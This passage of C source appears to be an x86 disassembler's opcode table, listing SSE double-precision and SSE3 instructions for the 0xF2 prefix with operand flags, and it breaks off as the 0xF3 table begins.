NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_SSE, "movsd", AM_V|OT_sd|P_w, AM_W|OT_sd|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "movsd", AM_W|OT_sd|P_w, AM_V|OT_sd|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "movddup", AM_V|OT_q|P_w, AM_W|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_SSE, "cvtsi2sd", AM_V|OT_sd|P_r, AM_E|OT_d|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_SSE, "cvttsd2si", AM_G|OT_d|P_r, AM_W|OT_sd|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "cvtsd2si", AM_G|OT_d|P_r, AM_W|OT_sd|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_SSE, "sqrtsd", AM_V|OT_sd|P_w, AM_W|OT_sd|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_SSE, "addsd", AM_V|OT_sd|P_w, AM_W|OT_sd|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "mulsd", AM_V|OT_sd|P_w, AM_W|OT_sd|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "cvtsd2ss", AM_V|OT_ss|P_r, AM_W|OT_sd|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_SSE, "subsd", AM_V|OT_sd|P_w, AM_W|OT_sd|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "minsd", AM_V|OT_sd|P_w, AM_W|OT_sd|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "divsd", AM_V|OT_sd|P_w, AM_W|OT_sd|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "maxsd", AM_V|OT_sd|P_w, AM_W|OT_sd|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_SSE, "pshuflw", AM_V|OT_dq|P_w, AM_W|OT_dq|P_r, AM_I|OT_b, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_SSE, "haddps", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "hsubps", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_SSE, "cmpsd", AM_V|OT_sd|P_r, AM_W|OT_sd|P_r, AM_I|OT_b, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_SSE, "addsubpd", AM_V|OT_ps|P_w, AM_W|OT_ps|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_SSE, "movdq2q", AM_P|OT_q|P_w, AM_V|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_SSE, "cvtpd2dq", AM_V|OT_dq|P_r, AM_W|OT_pd|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_SSE, "lddqu", AM_V|OT_dq, AM_M|OT_dq, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, }; // 3-byte instructions, prefix 0xf3 INST inst_table3_f3[256] = { { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { 